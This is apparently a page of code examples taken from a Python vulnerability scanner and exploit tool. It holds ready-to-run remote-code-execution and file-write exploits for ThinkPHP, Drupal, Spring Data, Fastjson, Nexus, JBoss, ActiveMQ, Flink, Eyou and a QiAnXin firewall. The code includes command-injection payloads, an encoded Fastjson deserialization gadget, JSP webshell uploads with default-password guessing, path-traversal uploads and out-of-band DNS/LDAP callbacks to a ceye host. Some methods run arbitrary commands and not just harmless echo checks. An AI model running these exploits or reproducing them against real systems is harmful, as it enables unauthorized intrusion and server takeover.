             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["vul_payd"] = "ldap://" + dns + "//Exploit] "
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info[
                 "prt_info"] = "[ceye] [payload: ldap://" + dns + "//Exploit] "
             verify.scan_print(self.vul_info)
         else:
             verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 16
0
 def cve_2019_7238_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Nexus Repository Manager: CVE-2019-7238"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "Nexus Repository Manager 3 远程代码执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2019-7238"
     self.vul_info["vul_apps"] = "Nexus"
     self.vul_info["vul_date"] = "2019-03-21"
     self.vul_info["vul_vers"] = "3.6.2 - 3.14.0"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行漏洞"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能," \
                                 "而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞"
     self.vul_info["cre_date"] = "2021-01-27"
     self.vul_info["cre_auth"] = "zhzyker"
     md = random_md5()
     cmd = "echo " + md
     self.payload = self.payload_cve_2019_7238.replace("RECOMMAND", cmd)
     self.headers = {
         'Accept': '*/*',
         'User-agent': self.ua,
         'Content-Type': 'application/json'
     }
     try:
         request = requests.post(self.url + "/service/extdirect",
                                 data=self.payload,
                                 headers=self.headers,
                                 timeout=self.timeout,
                                 verify=False)
         if md in request.text:
             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["vul_payd"] = cmd
             self.vul_info["prt_info"] = "[rce] [payload: " + cmd + " ]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 17
0
 def cve_2019_9082_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "ThinkPHP: CVE-2019-9082"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = self.payload_cve_2019_9082.replace(
         "RECOMMAND", "whoami")
     self.vul_info["vul_name"] = "ThinkPHP5 5.0.23 远程代码执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2019-9082"
     self.vul_info["vul_apps"] = "ThinkPHP"
     self.vul_info["vul_date"] = "2018-12-11"
     self.vul_info["vul_vers"] = "< 3.2.4"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "ThinkPHP prior to 3.2.4, as used in Open Source BMS v1.1.1 and other products, " \
                                 "allows Remote Command Execution via public//?s=index/\think\app/invokefunction" \
                                 "&function=call_user_func_array&vars[0]=system&vars[1][]= followed by the command."
     self.vul_info["cre_date"] = "2021-01-29"
     self.vul_info["cre_auth"] = "zhzyker"
     self.pocname = "ThinkPHP: "
     md = random_md5()
     cmd = "echo " + md
     self.payload = self.payload_cve_2019_9082.replace("RECOMMAND", cmd)
     self.method = "get"
     self.rawdata = "null"
     bad = "20" + md
     try:
         self.request = requests.get(self.url + self.payload,
                                     headers=self.headers,
                                     timeout=self.timeout,
                                     verify=False)
         if md in self.request.text:
             if bad not in self.request.text:
                 self.vul_info["vul_data"] = dump.dump_all(
                     self.request).decode('utf-8', 'ignore')
                 self.vul_info["prt_resu"] = "PoCSuCCeSS"
                 self.vul_info["prt_info"] = "[rce] [cmd:" + cmd + "]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as error:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 18
0
 def cve_2018_1273_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Spring Data: CVE-2018-1273"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "Spring Data Commons 远程命令执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2018-1273"
     self.vul_info["vul_apps"] = "Spring"
     self.vul_info["vul_date"] = "2018-04-11"
     self.vul_info["vul_vers"] = "1.13 - 1.13.10, 2.0 - 2.0.5"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程命令执行漏洞"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "Spring Data Commons组件中存在远程代码执行漏洞," \
                                 "攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。"
     self.vul_info["cre_date"] = "2021-01-26"
     self.vul_info["cre_auth"] = "zhzyker"
     md = random_md5()[:-20]
     cmd = "ping " + md + "." + self.ceye_domain
     payload = 'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("' + cmd + '")]=&password=&repeatedPassword='******'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["vul_payd"] = payload
             self.vul_info[
                 "prt_info"] = "[ceye] [rce] [payload: " + payload + " ]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 19
0
 def fastjson(self, webapps_identify):
     name = "Fastjson"
     Identify.identify_prt(name)
     md = random_md5()
     dns = md + "." + self.ceye_domain
     payload1 = '{"e":{"@type":"java.net.Inet4Address","val":"%s"}}' % dns
     payload2 = '{"@type":"java.net.Inet4Address","val":"%s"}' % dns
     payload3 = '{{"@type":"java.net.URL","val":"http://%s"}:"x"}' % dns
     payload4 = '{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"%s"}}""}' % dns
     payload5 = '{"a":"'
     headers = {'User-Agent': self.ua, 'Content-Type': "application/json"}
     try:
         requests.post(self.url,
                       data=payload1,
                       headers=headers,
                       timeout=self.timeout,
                       verify=False)
         requests.post(self.url,
                       data=payload2,
                       headers=headers,
                       timeout=self.timeout,
                       verify=False)
         requests.post(self.url,
                       data=payload3,
                       headers=headers,
                       timeout=self.timeout,
                       verify=False)
         requests.post(self.url,
                       data=payload4,
                       headers=headers,
                       timeout=self.timeout,
                       verify=False)
         request = requests.get(self.ceye_api + self.ceye_token)
         if md in request.text:
             webapps_identify.append("fastjson")
         else:
             request = requests.post(self.url,
                                     data=payload5,
                                     headers=headers,
                                     timeout=self.timeout,
                                     verify=False)
             if r"nested exception is com.alibaba.fastjson.JSONException:" in request.text:
                 if r"application/json" == request.headers['Content-Type']:
                     webapps_identify.append("fastjson")
     except:
         pass
Ejemplo n.º 20
0
 def cve_2018_20062_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "ThinkPHP: CVE-2018-20062"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = self.payload_cve_2018_20062.replace(
         "RECOMMAND", "whoami")
     self.vul_info["vul_name"] = "ThinkPHP5 5.0.23 远程代码执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2018-20062"
     self.vul_info["vul_apps"] = "ThinkPHP"
     self.vul_info["vul_date"] = "2018-12-11"
     self.vul_info["vul_vers"] = "<= 5.0.23, 5.1.31"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "其5.0.23以前的版本中,获取method的方法中没有正确处理方法名," \
                                 "导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。"
     self.vul_info["cre_date"] = "2021-01-29"
     self.vul_info["cre_auth"] = "zhzyker"
     md = random_md5()
     cmd = "echo " + md
     self.payload = self.payload_cve_2018_20062.replace("RECOMMAND", cmd)
     self.path = "/index.php?s=captcha"
     self.method = "post"
     self.rawdata = "null"
     try:
         request = requests.post(self.url + self.path,
                                 data=self.payload,
                                 headers=self.headers,
                                 timeout=self.timeout,
                                 verify=False)
         if md in request.text:
             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["prt_info"] = "[rce] [cmd:" + cmd + "]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as error:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 21
0
 def fastjson_1224_3_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Fastjson: VER-1224-3"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2017-18349"
     self.vul_info["vul_apps"] = "Fastjson"
     self.vul_info["vul_date"] = "2017-03-15"
     self.vul_info["vul_vers"] = "<= 1.2.24"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "Fastjson中的parseObject允许远程攻击者通过精心制作的JSON请求执行任意代码"
     self.vul_info["cre_date"] = "2021-04-10"
     self.vul_info["cre_auth"] = "zhzyker"
     md = random_md5()
     cmd = "echo " + md
     headers = {
         'User-Agent': self.ua,
         'Content-Type': 'application/json',
         'cmd': cmd,
         'Connection': 'close'
     }
     data = '{{"@type": "com.alibaba.fastjson.JSONObject","x":{"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"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z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}: "x"}'
     try:
         request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
         if md in misinformation(request.text, md):
             self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
             self.vul_info["vul_payd"] = data
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["prt_info"] = "[rce] [spring] [cmd: " + cmd + "]"
             verify.scan_print(self.vul_info)
         else:
             verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 22
0
 def cve_2018_7600_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Drupal: CVE-2018-7600"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = self.payload_cve_2018_7600.replace(
         "RECOMMAND", "whoami")
     self.vul_info[
         "vul_name"] = "Drupal drupalgeddon2 remote code execution"
     self.vul_info["vul_numb"] = "CVE-2018-7600"
     self.vul_info["vul_apps"] = "Drupal"
     self.vul_info["vul_date"] = "2018-04-13"
     self.vul_info["vul_vers"] = "6.x, 7.x, 8.x"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "编号CVE-2018-7600 Drupal对表单请求内容未做严格过滤,因此,这使得攻击者可能将恶意注入表单内容" \
                                 ",此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。"
     self.vul_info["cre_date"] = "2021-01-29"
     self.vul_info["cre_auth"] = "zhzyker"
     md = random_md5()
     cmd = "echo " + md
     self.payload = self.payload_cve_2018_7600.replace("RECOMMAND", cmd)
     self.path = "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
     try:
         request = requests.post(self.url + self.path,
                                 data=self.payload,
                                 headers=self.headers,
                                 timeout=self.timeout,
                                 verify=False)
         if md in misinformation(request.text, md):
             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["prt_info"] = "[rce] [cmd:" + cmd + "]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as error:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 23
0
 def time_2021_0410_exp(self, cmd):
     vul_name = "QiAnXin NS-NGFW: time-2021-0410"
     url = urljoin(self.url, "/directdata/direct/router")
     md = random_md5()
     data = {
         "action":
         "SSLVPN_Resource",
         "method":
         "deleteImage",
         "data": [{
             "data": [
                 "/var/www/html/d.txt;" + cmd + " > /var/www/html/" + md +
                 ".txt"
             ]
         }],
         "type":
         "rpc",
         "tid":
         17
     }
     data = json.dumps(data)
     try:
         request = requests.post(url,
                                 data=data,
                                 headers=self.headers,
                                 timeout=self.timeout,
                                 verify=False)
         url = urljoin(self.url, md + ".txt")
         req = requests.get(url,
                            data="1",
                            headers=self.headers,
                            timeout=self.timeout,
                            verify=False)
         self.raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
         verify.exploit_print(req.text, self.raw_data)
     except requests.exceptions.Timeout:
         verify.timeout_print(vul_name)
     except requests.exceptions.ConnectionError:
         verify.connection_print(vul_name)
     except Exception:
         verify.error_print(vul_name)
Ejemplo n.º 24
0
 def cve_2010_0738_exp(self, cmd):
     vul_name = "RedHat JBoss: CVE-2010-0738"
     http.client.HTTPConnection._http_vsn_str = 'HTTP/1.1'
     self.path = "/jmx-console/HtmlAdaptor"
     md = random_md5()[:-20]
     self.exp = (
         "?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName="
         "store&argType=java.lang.String&arg0=" + md +
         ".war&argType=java.lang.String&arg1=" + md + "&argType=java"
         ".lang.String&arg2=.jsp&argType=java.lang.String&arg3=" +
         self.jsp_webshell + "&argType=boolean&arg4=True")
     self.headers = {
         "Accept":
         "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
         'User-Agent': self.ua,
         "Connection": "close"
     }
     try:
         self.req = requests.head(self.url + self.path + self.exp,
                                  headers=self.headers,
                                  timeout=self.timeout,
                                  verify=False)
         self.jsp = self.url + "/" + self.name + "/" + self.name + ".jsp" + "?pwd=password&cmd=" + cmd
         self.request = requests.get(self.jsp,
                                     headers=self.headers,
                                     timeout=self.timeout,
                                     verify=False)
         r = self.jsp
         r += "\n"
         r += self.request.text
         self.raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore')
         verify.exploit_print(r, self.raw_data)
     except requests.exceptions.Timeout:
         verify.timeout_print(vul_name)
     except requests.exceptions.ConnectionError:
         verify.connection_print(vul_name)
     except Exception:
         verify.error_print(vul_name)
Ejemplo n.º 25
0
 def cnvd_2021_26422_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Eyou Email System: CNVD-2021-26422"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "Eyou email system has remote command execution"
     self.vul_info["vul_numb"] = "CNVD-2021-26422"
     self.vul_info["vul_apps"] = "Eyou"
     self.vul_info["vul_date"] = "2021-04-19"
     self.vul_info["vul_vers"] = "unknow"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "RCE"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "Eyou email system has remote command execution"
     self.vul_info["cre_date"] = "2021-04-29"
     self.vul_info["cre_auth"] = "zhzyker"
     url = urljoin(self.url, "/webadm/?q=moni_detail.do&action=gragh")
     md = random_md5()
     cmd = "echo " + md
     payload = "type='|" + cmd + "||'"
     try:
         request = requests.post(url, data=payload, headers=self.headers, timeout=self.timeout, verify=False)
         if md in misinformation(request.text, md):
             self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["vul_payd"] = payload
             self.vul_info["prt_info"] = "[cmd:" + cmd + "]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as error:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 26
0
 def cve_2016_3088_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Apache AcitveMQ: CVE-2016-3088"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "Apache ActiveMQ 远程代码执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2016-3088"
     self.vul_info["vul_apps"] = "AcitveMQ"
     self.vul_info["vul_date"] = "2016-03-10"
     self.vul_info["vul_vers"] = "< 5.14.0"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行漏洞"
     self.vul_info["vul_data"] = "null"
     self.vul_info[
         "vul_desc"] = "ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录"
     self.vul_info["cre_date"] = "2021-01-07"
     self.vul_info["cre_auth"] = "zhzyker"
     self.rawdata = None
     self.path = "null"
     self.name = random_md5()[:-20]
     self.webshell = "/" + self.name + ".jsp"
     self.poc = random_md5()
     self.exp = self.jsp_webshell
     self.passlist = [
         "admin:123456", "admin:admin", "admin:123123", "admin:activemq",
         "admin:12345678"
     ]
     try:
         try:
             for self.pa in self.passlist:
                 self.base64_p = base64.b64encode(str.encode(self.pa))
                 self.p = self.base64_p.decode('utf-8')
                 self.headers_base64 = {
                     'User-Agent': self.ua,
                     'Authorization': 'Basic ' + self.p
                 }
                 self.request = requests.get(
                     self.url + "/admin/test/systemProperties.jsp",
                     headers=self.headers_base64,
                     timeout=self.timeout,
                     verify=False)
                 if self.request.status_code == 200:
                     self.path = \
                         re.findall('<td class="label">activemq.home</td>.*?<td>(.*?)</td>', self.request.text, re.S)[0]
                     break
         except IndexError:
             pass
         self.request = requests.put(self.url + "/fileserver/v.txt",
                                     headers=self.headers_base64,
                                     data=self.poc,
                                     timeout=self.timeout,
                                     verify=False)
         self.headers_move = {
             'User-Agent':
             self.ua,
             'Destination':
             'file://' + self.path + '/webapps/api' + self.webshell
         }
         self.request = requests.request("MOVE",
                                         self.url + "/fileserver/v.txt",
                                         headers=self.headers_move,
                                         timeout=self.timeout,
                                         verify=False)
         self.request = requests.get(self.url + "/api" + self.webshell,
                                     headers=self.headers_base64,
                                     timeout=self.timeout,
                                     verify=False)
         if self.poc in self.request.text:
             self.vul_info["vul_data"] = dump.dump_all(self.request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info[
                 "vul_payd"] = 'file://' + self.path + '/webapps/api' + self.webshell
             self.vul_info[
                 "prt_info"] = "[upload: " + self.url + "/api" + self.webshell + " ] [" + self.pa + "]"
             verify.scan_print(self.vul_info)
         else:
             verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 27
0
 def cve_2020_10199_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Nexus Repository Manager: CVE-2020-10199"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "Nexus Repository Manager 3 远程代码执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2020-10199"
     self.vul_info["vul_apps"] = "Nexus"
     self.vul_info["vul_date"] = "20120-04-01"
     self.vul_info["vul_vers"] = "3.x <= 3.21.1"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行漏洞"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当," \
                                 "导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。 "
     self.vul_info["cre_date"] = "2021-01-27"
     self.vul_info["cre_auth"] = "zhzyker"
     self.session_headers = {
         'Connection': 'keep-alive',
         'X-Requested-With': 'XMLHttpRequest',
         'X-Nexus-UI': 'true',
         'User-Agent': self.ua
     }
     md = random_md5()
     cmd = "echo " + md
     try:
         self.us = base64.b64encode(str.encode("admin"))
         self.pa = base64.b64encode(str.encode("admin"))
         self.base64user = self.us.decode('ascii')
         self.base64pass = self.pa.decode('ascii')
         self.session_data = {
             'username': self.base64user,
             'password': self.base64pass
         }
         self.request = requests.post(self.url + "/service/rapture/session",
                                      data=self.session_data,
                                      headers=self.session_headers,
                                      timeout=20)
         self.session_str = str(self.request.headers)
         self.session = (re.search(r"NXSESSIONID=(.*); Path",
                                   self.session_str).group(1))
         self.rce_headers = {
             'Connection': "keep-alive",
             'NX-ANTI-CSRF-TOKEN': "0.6153568974227819",
             'X-Requested-With': "XMLHttpRequest",
             'X-Nexus-UI': "true",
             'Content-Type': "application/json",
             '404': "" + cmd + "",
             'User-Agent': self.ua,
             'Cookie': "jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520;" \
                       "NX-ANTI-CSRF-TOKEN=0.6153568974227819; NXSESSIONID=" + self.session + ""
         }
         request = requests.post(self.url +
                                 "/service/rest/beta/repositories/go/group",
                                 data=self.payload_cve_2020_10199,
                                 headers=self.rce_headers)
         if md in request.text:
             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["vul_payd"] = cmd
             self.vul_info[
                 "prt_info"] = "[rce] [admin:admin] [payload: " + cmd + " ]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 28
0
 def time_2021_0410_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "QiAnXin NS-NGFW: time-2021-0410"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info[
         "vul_name"] = "Qianxin NS-NGFW Netkang Next Generation Firewall Front RCE"
     self.vul_info["vul_numb"] = "time-2021-0415"
     self.vul_info["vul_apps"] = "QiAnXin"
     self.vul_info["vul_date"] = "2021-04-10"
     self.vul_info["vul_vers"] = "unknow"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "RCE"
     self.vul_info["vul_data"] = "null"
     self.vul_info[
         "vul_desc"] = "Qianxin NS-NGFW Netkang Next Generation Firewall Front RCE"
     self.vul_info["cre_date"] = "2021-04-16"
     self.vul_info["cre_auth"] = "zhzyker"
     url = urljoin(self.url, "/directdata/direct/router")
     md = random_md5()
     cmd = "echo " + md
     data = {
         "action":
         "SSLVPN_Resource",
         "method":
         "deleteImage",
         "data": [{
             "data": [
                 "/var/www/html/d.txt;" + cmd + " > /var/www/html/" + md +
                 ".txt"
             ]
         }],
         "type":
         "rpc",
         "tid":
         17
     }
     data = json.dumps(data)
     try:
         request = requests.post(url,
                                 data=data,
                                 headers=self.headers,
                                 timeout=self.timeout,
                                 verify=False)
         url = urljoin(self.url, md + ".txt")
         req = requests.get(url,
                            data="1",
                            headers=self.headers,
                            timeout=self.timeout,
                            verify=False)
         if md in misinformation(req.text, md) and (
                 md + ".txt") not in req.text and req.status_code == 200:
             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["vul_payd"] = data
             self.vul_info["prt_info"] = "[rce:" + url + " ]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as error:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 29
0
    def cve_2020_17518_poc(self):
        # 2020-01-07
        self.threadLock.acquire()
        self.name = random_md5()
        self.vul_info["prt_name"] = "Apache Flink: CVE-2020-17518"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info[
            "vul_payd"] = 'Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/' + self.name
        self.vul_info["vul_name"] = "Apache Flink 任意文件写入漏洞"
        self.vul_info["vul_numb"] = "CVE-2020-17518"
        self.vul_info["vul_apps"] = "Flink"
        self.vul_info["vul_date"] = "2021-01-05"
        self.vul_info["vul_vers"] = "< 1.11.3 or < 1.12.0"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "任意文件写入"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "Apache Flink 1.11.0中引入了一项更新,该更新在1.11.1及更高的版本和1.11.2中发布。" \
                                    "Apache Flink 控制面板的Submit New Job处存在任意文件上传:"
        self.vul_info["cre_date"] = "2021-01-07"
        self.vul_info["cre_auth"] = "zhzyker"
        self.info = "null"

        self.method = "post"
        self.r = "PoCWating"
        self.headers = {
            'User-Agent':
            self.ua,
            'Connection':
            'close',
            'Content-Type':
            'multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y'
        }
        self.data = '\n------WebKitFormBoundaryoZ8meKnrrso89R6Y'
        self.data += '\nContent-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/' + self.name
        self.data += '\n\nsuccess'
        self.data += '\n------WebKitFormBoundaryoZ8meKnrrso89R6Y--'
        try:
            self.r404 = requests.get(self.url + "/jars/upload",
                                     headers=self.headers,
                                     timeout=self.timeout,
                                     verify=False)
            self.request = requests.post(self.url + "/jars/upload",
                                         data=self.data,
                                         headers=self.headers,
                                         timeout=self.timeout,
                                         verify=False)
            self.rawdata = dump.dump_all(self.request).decode(
                'utf-8', 'ignore')
            if self.r404.status_code == 404 and self.request.status_code == 400:
                if r"org.apache.flink.runtime.rest.handler.RestHandlerException:" in self.request.text:
                    self.vul_info["vul_data"] = dump.dump_all(
                        self.request).decode('utf-8', 'ignore')
                    self.vul_info["prt_resu"] = "PoC_MaYbE"
                    self.vul_info[
                        "prt_info"] = "[maybe] [upload: /tmp/" + self.name + "]"
